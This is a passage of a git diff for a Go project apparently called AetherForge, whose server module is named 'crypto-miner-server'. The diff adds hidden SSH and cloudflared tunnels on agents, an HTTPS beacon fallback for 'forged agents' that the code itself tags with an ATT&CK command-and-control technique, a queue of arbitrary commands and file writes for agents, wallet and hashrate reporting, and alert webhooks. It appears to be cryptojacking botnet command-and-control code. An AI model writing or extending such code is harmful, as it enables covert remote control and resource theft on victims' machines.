msgs = append(msgs, fmt.Sprintf("stopped %s pid %d", t.kind, t.pid))
|
||||
}
|
||||
continue
|
||||
}
|
||||
remaining = append(remaining, t)
|
||||
}
|
||||
trackedTunnels = remaining
|
||||
return stopped, msgs
|
||||
}
|
||||
|
||||
// ResetTrackedTunnels clears registry without killing (tests only).
|
||||
func ResetTrackedTunnels() {
|
||||
tunnelMu.Lock()
|
||||
trackedTunnels = nil
|
||||
tunnelMu.Unlock()
|
||||
}
|
||||
|
||||
// CloudflaredTargetFromEnv returns trimmed URL or empty.
|
||||
func CloudflaredTargetFromEnv() string {
|
||||
return strings.TrimSpace(os.Getenv("AETHERFORGE_TUNNEL_URL"))
|
||||
}
|
||||
9
agent/deploy/tunnel_ssh_stub.go
Normal file
9
agent/deploy/tunnel_ssh_stub.go
Normal file
@@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
func StartSSHForward(_ SSHForwardMeta) (string, error) {
|
||||
return "", fmt.Errorf("ssh forward is Windows-only in this build")
|
||||
}
|
||||
67
agent/deploy/tunnel_ssh_windows.go
Normal file
67
agent/deploy/tunnel_ssh_windows.go
Normal file
@@ -0,0 +1,67 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// StartSSHForward opens a local port on the agent that forwards to remote_host:remote_port via SSH.
|
||||
func StartSSHForward(meta SSHForwardMeta) (string, error) {
|
||||
if meta.LocalPort <= 0 || meta.LocalPort > 65535 {
|
||||
return "", fmt.Errorf("local_port required (1-65535)")
|
||||
}
|
||||
meta.RemoteHost = strings.TrimSpace(meta.RemoteHost)
|
||||
if meta.RemoteHost == "" {
|
||||
return "", fmt.Errorf("remote_host required")
|
||||
}
|
||||
if meta.RemotePort <= 0 || meta.RemotePort > 65535 {
|
||||
return "", fmt.Errorf("remote_port required (1-65535)")
|
||||
}
|
||||
jump := strings.TrimSpace(meta.JumpHost)
|
||||
if jump == "" {
|
||||
jump = meta.RemoteHost
|
||||
}
|
||||
user := strings.TrimSpace(meta.SSHUser)
|
||||
if user == "" {
|
||||
user = os.Getenv("USERNAME")
|
||||
if user == "" {
|
||||
user = "Administrator"
|
||||
}
|
||||
}
|
||||
|
||||
bind := fmt.Sprintf("127.0.0.1:%d:%s:%d", meta.LocalPort, meta.RemoteHost, meta.RemotePort)
|
||||
target := fmt.Sprintf("%s@%s", user, jump)
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if sshPath, err := exec.LookPath("ssh"); err == nil {
|
||||
cmd = HiddenCommand(sshPath, "-N",
|
||||
"-o", "StrictHostKeyChecking=no",
|
||||
"-o", "BatchMode=yes",
|
||||
"-o", "ExitOnForwardFailure=yes",
|
||||
"-L", bind,
|
||||
target,
|
||||
)
|
||||
} else if plinkPath, err := exec.LookPath("plink"); err == nil {
|
||||
cmd = HiddenCommand(plinkPath, "-N",
|
||||
"-batch",
|
||||
"-L", bind,
|
||||
target,
|
||||
)
|
||||
} else {
|
||||
return "", fmt.Errorf("OpenSSH client (ssh) or PuTTY plink not found on PATH")
|
||||
}
|
||||
|
||||
if err := cmd.Start(); err != nil {
|
||||
return "", fmt.Errorf("failed to start ssh forward: %w", err)
|
||||
}
|
||||
|
||||
metaBlob, _ := json.Marshal(meta)
|
||||
RegisterTunnelPID(TunnelSSHForward, cmd.Process.Pid, string(metaBlob))
|
||||
return fmt.Sprintf("ssh forward pid %d — 127.0.0.1:%d → %s:%d via %s",
|
||||
cmd.Process.Pid, meta.LocalPort, meta.RemoteHost, meta.RemotePort, target), nil
|
||||
}
|
||||
@@ -1,17 +0,0 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestStartCloudflaredTunnelEmptyURL(t *testing.T) {
|
||||
_, err := StartCloudflaredTunnel("")
|
||||
if err == nil || !strings.Contains(err.Error(), "server URL required") {
|
||||
t.Fatalf("expected URL error, got %v", err)
|
||||
}
|
||||
_, err = StartCloudflaredTunnel(" ")
|
||||
if err == nil {
|
||||
t.Fatal("whitespace-only URL should fail")
|
||||
}
|
||||
}
|
||||
22
agent/deploy/tunnel_types.go
Normal file
22
agent/deploy/tunnel_types.go
Normal file
@@ -0,0 +1,22 @@
|
||||
package deploy
|
||||
|
||||
// TunnelStatusJSON is returned by tunnel_status on the agent.
|
||||
type TunnelStatusJSON struct {
|
||||
CloudflaredRunning bool `json:"cloudflared_running"`
|
||||
CloudflaredURL string `json:"cloudflared_url,omitempty"`
|
||||
CloudflaredPID int `json:"cloudflared_pid,omitempty"`
|
||||
WireGuardActive bool `json:"wireguard_active,omitempty"`
|
||||
WireGuardDetail string `json:"wireguard_detail,omitempty"`
|
||||
SSHForwards []SSHForwardLive `json:"ssh_forwards"`
|
||||
}
|
||||
|
||||
// SSHForwardLive is an active SSH local forward.
|
||||
type SSHForwardLive struct {
|
||||
LocalPort int `json:"local_port"`
|
||||
RemoteHost string `json:"remote_host"`
|
||||
RemotePort int `json:"remote_port"`
|
||||
SSHUser string `json:"ssh_user,omitempty"`
|
||||
JumpHost string `json:"jump_host,omitempty"`
|
||||
PID int `json:"pid"`
|
||||
Running bool `json:"running"`
|
||||
}
|
||||
@@ -31,5 +31,6 @@ func StartCloudflaredTunnel(serverURL string) (string, error) {
|
||||
if err := cmd.Start(); err != nil {
|
||||
return "", fmt.Errorf("failed to start cloudflared: %w", err)
|
||||
}
|
||||
RegisterTunnelPID(TunnelCloudflared, cmd.Process.Pid, serverURL)
|
||||
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", cmd.Process.Pid, serverURL), nil
|
||||
}
|
||||
|
||||
@@ -27,6 +27,13 @@ type Config struct {
|
||||
Background BackgroundConfig `json:"background,omitempty"`
|
||||
Alerts AlertsConfig `json:"alerts"`
|
||||
Server ServerSettings `json:"server"`
|
||||
TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"`
|
||||
}
|
||||
|
||||
// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate).
|
||||
type TunnelDefaults struct {
|
||||
// CloudflaredTargetURL is the default outbound tunnel target (usually server public_url).
|
||||
CloudflaredTargetURL string `json:"cloudflared_target_url"`
|
||||
}
|
||||
|
||||
// ServerSettings controls the locally hosted control server (not baked into miners).
|
||||
@@ -110,6 +117,7 @@ type AlertsConfig struct {
|
||||
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
|
||||
TelegramBotToken string `json:"telegram_bot_token"`
|
||||
TelegramChatID string `json:"telegram_chat_id"`
|
||||
WebhookURL string `json:"webhook_url"`
|
||||
// Per-event Telegram/email toggles (default true).
|
||||
NotifyAgentConnect bool `json:"notify_agent_connect"`
|
||||
NotifyAgentReconnect bool `json:"notify_agent_reconnect"`
|
||||
@@ -117,6 +125,7 @@ type AlertsConfig struct {
|
||||
NotifyHashrateDrop bool `json:"notify_hashrate_drop"`
|
||||
NotifyRejectionRate bool `json:"notify_rejection_rate"`
|
||||
NotifyBuildComplete bool `json:"notify_build_complete"`
|
||||
NotifyKEVExposure bool `json:"notify_kev_exposure"`
|
||||
EmailEnabled bool `json:"email_enabled"`
|
||||
SMTPHost string `json:"smtp_host"`
|
||||
SMTPPort int `json:"smtp_port"`
|
||||
@@ -194,6 +203,7 @@ func DefaultConfig() *Config {
|
||||
NotifyHashrateDrop: true,
|
||||
NotifyRejectionRate: true,
|
||||
NotifyBuildComplete: true,
|
||||
NotifyKEVExposure: true,
|
||||
},
|
||||
Server: ServerSettings{
|
||||
PublicURL: "",
|
||||
@@ -247,10 +257,15 @@ func LoadConfig() *Config {
|
||||
cfg.Alerts.NotifyHashrateDrop = true
|
||||
cfg.Alerts.NotifyRejectionRate = true
|
||||
cfg.Alerts.NotifyBuildComplete = true
|
||||
cfg.Alerts.NotifyKEVExposure = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
|
||||
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
|
||||
}
|
||||
|
||||
return cfg
|
||||
}
|
||||
|
||||
@@ -262,6 +277,7 @@ func (c *Config) AlertSettings() alerts.Settings {
|
||||
return alerts.NewSettings(alerts.NotifyConfig{
|
||||
TelegramBotToken: c.Alerts.TelegramBotToken,
|
||||
TelegramChatID: c.Alerts.TelegramChatID,
|
||||
WebhookURL: c.Alerts.WebhookURL,
|
||||
EmailEnabled: c.Alerts.EmailEnabled,
|
||||
SMTPHost: c.Alerts.SMTPHost,
|
||||
SMTPPort: c.Alerts.SMTPPort,
|
||||
@@ -276,6 +292,7 @@ func (c *Config) AlertSettings() alerts.Settings {
|
||||
HashrateDrop: c.Alerts.NotifyHashrateDrop,
|
||||
RejectionRate: c.Alerts.NotifyRejectionRate,
|
||||
BuildComplete: c.Alerts.NotifyBuildComplete,
|
||||
KEVExposure: c.Alerts.NotifyKEVExposure,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -398,6 +415,9 @@ func mergeConfig(dst, src *Config) {
|
||||
if src.Alerts.TelegramChatID != "" {
|
||||
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
||||
}
|
||||
if src.Alerts.WebhookURL != "" {
|
||||
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
|
||||
}
|
||||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||||
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
|
||||
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
|
||||
@@ -405,6 +425,7 @@ func mergeConfig(dst, src *Config) {
|
||||
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
|
||||
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
|
||||
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
|
||||
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
|
||||
if src.Alerts.SMTPHost != "" {
|
||||
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||||
}
|
||||
@@ -661,6 +682,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
|
||||
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
||||
}
|
||||
if in(alertKeys, "webhook_url") && src.Alerts.WebhookURL != "" {
|
||||
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
|
||||
}
|
||||
if in(alertKeys, "email_enabled") {
|
||||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||||
}
|
||||
@@ -682,6 +706,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
if in(alertKeys, "notify_build_complete") {
|
||||
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
|
||||
}
|
||||
if in(alertKeys, "notify_kev_exposure") {
|
||||
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
|
||||
}
|
||||
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
|
||||
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||||
}
|
||||
@@ -762,6 +789,18 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
dst.Server.FleetSecret = src.Server.FleetSecret
|
||||
}
|
||||
}
|
||||
|
||||
if has("tunnel_defaults") {
|
||||
tdKeys := nestedJSONKeys(present, "tunnel_defaults")
|
||||
if in(tdKeys, "cloudflared_target_url") {
|
||||
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
|
||||
}
|
||||
}
|
||||
|
||||
// Keep cloudflared default aligned with public_url when unset.
|
||||
if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" {
|
||||
dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Config) Save() error {
|
||||
|
||||
@@ -182,7 +182,7 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
|
||||
log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
|
||||
s := e.settings()
|
||||
if s.EnabledForAlertType(ev.Type) {
|
||||
NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message)
|
||||
NotifyAllEvent(s.NotifyConfig, ev.Type, "AetherForge "+ev.Type, ev.Message)
|
||||
}
|
||||
if e.broadcast != nil {
|
||||
e.broadcast(ev)
|
||||
|
||||
56
server/internal/alerts/kev_notify.go
Normal file
56
server/internal/alerts/kev_notify.go
Normal file
@@ -0,0 +1,56 @@
|
||||
package alerts
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// kevExposurePayload mirrors agent KEVScanReport JSON.
|
||||
type kevExposurePayload struct {
|
||||
ExposedCount int `json:"exposed_count"`
|
||||
CriticalCount int `json:"critical_count"`
|
||||
LikelyCount int `json:"likely_count"`
|
||||
RiskScore int `json:"risk_score"`
|
||||
Summary string `json:"summary"`
|
||||
Findings []struct {
|
||||
CVE string `json:"cve"`
|
||||
Name string `json:"name"`
|
||||
Status string `json:"status"`
|
||||
Severity string `json:"severity"`
|
||||
Detail string `json:"detail"`
|
||||
} `json:"findings"`
|
||||
}
|
||||
|
||||
const EventKEVExposure = "kev_exposure"
|
||||
|
||||
// NotifyKEVFromSysCheck parses a full_sys_check message and sends Telegram if enabled.
|
||||
func NotifyKEVFromSysCheck(n *Notifier, agentName, message string) {
|
||||
if n == nil || strings.TrimSpace(message) == "" {
|
||||
return
|
||||
}
|
||||
var report struct {
|
||||
KEV *kevExposurePayload `json:"kev_exposure"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(message), &report); err != nil || report.KEV == nil {
|
||||
return
|
||||
}
|
||||
k := report.KEV
|
||||
if k.ExposedCount == 0 && k.CriticalCount == 0 {
|
||||
return
|
||||
}
|
||||
s := n.settings()
|
||||
if !s.Events.KEVExposure {
|
||||
return
|
||||
}
|
||||
body := agentName + ": " + k.Summary
|
||||
if body == agentName+": " {
|
||||
body = agentName + ": KEV exposure indicators — exposed=" + strconv.Itoa(k.ExposedCount) + " critical=" + strconv.Itoa(k.CriticalCount)
|
||||
}
|
||||
for _, f := range k.Findings {
|
||||
if f.Status == "exposed" && f.Severity == "critical" {
|
||||
body += "\n• " + f.CVE + " " + f.Name
|
||||
}
|
||||
}
|
||||
n.Emit(EventKEVExposure, "AetherForge KEV alert", body)
|
||||
}
|
||||
18
server/internal/alerts/kev_notify_test.go
Normal file
18
server/internal/alerts/kev_notify_test.go
Normal file
@@ -0,0 +1,18 @@
|
||||
package alerts
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNotifyKEVFromSysCheckNoPanic(t *testing.T) {
|
||||
n := NewNotifier(func() Settings {
|
||||
return NewSettings(NotifyConfig{}, EventToggles{KEVExposure: true})
|
||||
})
|
||||
msg := `{"kev_exposure":{"exposed_count":1,"critical_count":1,"summary":"test","findings":[{"cve":"CVE-2021-26855","name":"ProxyLogon","status":"exposed","severity":"critical"}]}}`
|
||||
NotifyKEVFromSysCheck(n, "worker-1", msg)
|
||||
}
|
||||
|
||||
func TestNotifyKEVSkipsWhenClear(t *testing.T) {
|
||||
n := NewNotifier(func() Settings {
|
||||
return NewSettings(NotifyConfig{TelegramBotToken: "x", TelegramChatID: "1"}, EventToggles{KEVExposure: true})
|
||||
})
|
||||
NotifyKEVFromSysCheck(n, "w", `{"kev_exposure":{"exposed_count":0,"critical_count":0}}`)
|
||||
}
|
||||
@@ -19,11 +19,11 @@ func (n *Notifier) Emit(event string, title, body string) {
|
||||
if !n.eventEnabled(s, event) {
|
||||
return
|
||||
}
|
||||
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled {
|
||||
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled && s.WebhookURL == "" {
|
||||
return
|
||||
}
|
||||
log.Printf("[Notify] %s: %s", event, body)
|
||||
NotifyAll(s.NotifyConfig, title, body)
|
||||
NotifyAllEvent(s.NotifyConfig, event, title, body)
|
||||
}
|
||||
|
||||
func (n *Notifier) eventEnabled(s Settings, event string) bool {
|
||||
@@ -34,6 +34,8 @@ func (n *Notifier) eventEnabled(s Settings, event string) bool {
|
||||
return s.Events.AgentReconnect
|
||||
case EventBuildComplete:
|
||||
return s.Events.BuildComplete
|
||||
case EventKEVExposure:
|
||||
return s.Events.KEVExposure
|
||||
case "offline":
|
||||
return s.Events.AgentOffline
|
||||
case "hashrate_drop":
|
||||
|
||||
@@ -14,6 +14,7 @@ import (
|
||||
type NotifyConfig struct {
|
||||
TelegramBotToken string
|
||||
TelegramChatID string
|
||||
WebhookURL string
|
||||
EmailEnabled bool
|
||||
SMTPHost string
|
||||
SMTPPort int
|
||||
@@ -89,7 +90,41 @@ func SendEmail(cfg NotifyConfig, subject, body string) error {
|
||||
return smtp.SendMail(addr, auth, from, []string{cfg.EmailTo}, []byte(msg))
|
||||
}
|
||||
|
||||
func SendWebhook(cfg NotifyConfig, event, subject, text string) error {
|
||||
if cfg.WebhookURL == "" {
|
||||
return nil
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]string{
|
||||
"event": event,
|
||||
"title": subject,
|
||||
"message": text,
|
||||
})
|
||||
req, err := http.NewRequest(http.MethodPost, cfg.WebhookURL, bytes.NewReader(payload))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
client := &http.Client{Timeout: 15 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode >= 300 {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return fmt.Errorf("webhook status %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func NotifyAll(cfg NotifyConfig, subject, text string) {
|
||||
_ = SendTelegram(cfg, subject+": "+text)
|
||||
_ = SendEmail(cfg, subject, text)
|
||||
}
|
||||
|
||||
// NotifyAllEvent sends to Telegram, email, and optional operator webhook.
|
||||
func NotifyAllEvent(cfg NotifyConfig, event, subject, text string) {
|
||||
_ = SendTelegram(cfg, subject+": "+text)
|
||||
_ = SendEmail(cfg, subject, text)
|
||||
_ = SendWebhook(cfg, event, subject, text)
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ type EventToggles struct {
|
||||
HashrateDrop bool
|
||||
RejectionRate bool
|
||||
BuildComplete bool
|
||||
KEVExposure bool
|
||||
}
|
||||
|
||||
// Settings combines delivery credentials with per-event toggles.
|
||||
|
||||
25
server/internal/api/auth_context.go
Normal file
25
server/internal/api/auth_context.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
type contextKey string
|
||||
|
||||
const authUserKey contextKey = "auth_user"
|
||||
|
||||
func withAuthUser(r *http.Request, username string) *http.Request {
|
||||
return r.WithContext(context.WithValue(r.Context(), authUserKey, username))
|
||||
}
|
||||
|
||||
// AuthUsername returns the Basic-auth username for the current request, if any.
|
||||
func AuthUsername(r *http.Request) string {
|
||||
if r == nil {
|
||||
return ""
|
||||
}
|
||||
if u, ok := r.Context().Value(authUserKey).(string); ok {
|
||||
return u
|
||||
}
|
||||
return ""
|
||||
}
|
||||
260
server/internal/api/beacon.go
Normal file
260
server/internal/api/beacon.go
Normal file
@@ -0,0 +1,260 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
const beaconReachableWindow = 90 * time.Second
|
||||
|
||||
// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down.
|
||||
type BeaconCommand struct {
|
||||
Action string `json:"action"`
|
||||
TailLines int `json:"tail_lines,omitempty"`
|
||||
Command string `json:"command,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
Data string `json:"data,omitempty"`
|
||||
}
|
||||
|
||||
type beaconRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Stats json.RawMessage `json:"stats,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
Worker string `json:"worker_name,omitempty"`
|
||||
Version string `json:"version,omitempty"`
|
||||
}
|
||||
|
||||
type beaconResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Commands []BeaconCommand `json:"commands"`
|
||||
}
|
||||
|
||||
type beaconResultRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Action string `json:"action"`
|
||||
Success bool `json:"success"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
func (h *WSHub) initBeaconMaps() {
|
||||
h.beaconMu.Lock()
|
||||
defer h.beaconMu.Unlock()
|
||||
if h.beaconLastSeen == nil {
|
||||
h.beaconLastSeen = make(map[string]time.Time)
|
||||
}
|
||||
if h.beaconCmdQueue == nil {
|
||||
h.beaconCmdQueue = make(map[string][]BeaconCommand)
|
||||
}
|
||||
}
|
||||
|
||||
// MarkBeaconSeen records a successful HTTPS beacon from an agent.
|
||||
func (h *WSHub) MarkBeaconSeen(agentID string) {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconLastSeen[agentID] = time.Now()
|
||||
h.beaconMu.Unlock()
|
||||
}
|
||||
|
||||
// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket.
|
||||
func (h *WSHub) ClearBeaconTransport(agentID string) {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
delete(h.beaconLastSeen, agentID)
|
||||
delete(h.beaconCmdQueue, agentID)
|
||||
h.beaconMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) isAgentBeaconReachable(agentID string) bool {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
last, ok := h.beaconLastSeen[agentID]
|
||||
h.beaconMu.Unlock()
|
||||
return ok && time.Since(last) <= beaconReachableWindow
|
||||
}
|
||||
|
||||
// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon.
|
||||
func (h *WSHub) IsAgentReachable(agentID string) bool {
|
||||
return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID)
|
||||
}
|
||||
|
||||
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
|
||||
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
|
||||
if !h.isAgentBeaconReachable(agentID) {
|
||||
return false
|
||||
}
|
||||
cmd := BeaconCommand{Action: action}
|
||||
if v, ok := args["tail_lines"]; ok {
|
||||
switch n := v.(type) {
|
||||
case int:
|
||||
cmd.TailLines = n
|
||||
case float64:
|
||||
cmd.TailLines = int(n)
|
||||
}
|
||||
}
|
||||
if v, ok := args["command"].(string); ok {
|
||||
cmd.Command = v
|
||||
}
|
||||
if v, ok := args["path"].(string); ok {
|
||||
cmd.Path = v
|
||||
}
|
||||
if v, ok := args["data"].(string); ok {
|
||||
cmd.Data = v
|
||||
}
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
|
||||
h.beaconMu.Unlock()
|
||||
return true
|
||||
}
|
||||
|
||||
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
cmds := h.beaconCmdQueue[agentID]
|
||||
delete(h.beaconCmdQueue, agentID)
|
||||
h.beaconMu.Unlock()
|
||||
if cmds == nil {
|
||||
return []BeaconCommand{}
|
||||
}
|
||||
return cmds
|
||||
}
|
||||
|
||||
func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) {
|
||||
if h.db == nil || len(statsJSON) == 0 {
|
||||
return
|
||||
}
|
||||
var stats struct {
|
||||
Hashrate15s float64 `json:"hashrate_15s"`
|
||||
Hashrate1m float64 `json:"hashrate_1m"`
|
||||
Hashrate15m float64 `json:"hashrate_15m"`
|
||||
SharesSubmitted int `json:"shares_submitted"`
|
||||
SharesAccepted int `json:"shares_accepted"`
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(statsJSON, &stats); err != nil {
|
||||
return
|
||||
}
|
||||
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
|
||||
if sharesBad < 0 {
|
||||
sharesBad = 0
|
||||
}
|
||||
_ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
|
||||
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
||||
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
||||
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
||||
_ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
||||
_ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "stats",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"cpu_usage_pct": stats.CPUUsagePct,
|
||||
"memory_usage_pct": stats.MemoryUsagePct,
|
||||
"uptime_seconds": stats.UptimeSeconds,
|
||||
"shares_submitted": stats.SharesSubmitted,
|
||||
"shares_accepted": stats.SharesAccepted,
|
||||
"transport": "https_beacon",
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback).
|
||||
func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
var req beaconRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(req.AgentID)
|
||||
if agentID == "" {
|
||||
http.Error(w, "agent_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
h.MarkBeaconSeen(agentID)
|
||||
if h.db != nil {
|
||||
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
|
||||
display := req.Hostname
|
||||
if display == "" {
|
||||
display = agentID
|
||||
}
|
||||
_ = h.db.UpsertAgent(&models.Agent{
|
||||
ID: agentID,
|
||||
Name: display,
|
||||
Wallet: req.Wallet,
|
||||
Version: req.Version,
|
||||
Status: "online",
|
||||
})
|
||||
}
|
||||
}
|
||||
h.applyBeaconStats(agentID, req.Stats)
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
|
||||
}
|
||||
|
||||
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
|
||||
func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
var req beaconResultRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(req.AgentID)
|
||||
if agentID == "" || req.Action == "" {
|
||||
http.Error(w, "agent_id and action are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
h.MarkBeaconSeen(agentID)
|
||||
payload := map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"action": req.Action,
|
||||
"success": req.Success,
|
||||
"message": req.Message,
|
||||
"transport": "https_beacon",
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
||||
h.notifyCmdCallback(agentID, req.Action, payload)
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
|
||||
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
for _, cmd := range cmds {
|
||||
args := map[string]interface{}{}
|
||||
if cmd.TailLines > 0 {
|
||||
args["tail_lines"] = cmd.TailLines
|
||||
}
|
||||
if cmd.Command != "" {
|
||||
args["command"] = cmd.Command
|
||||
}
|
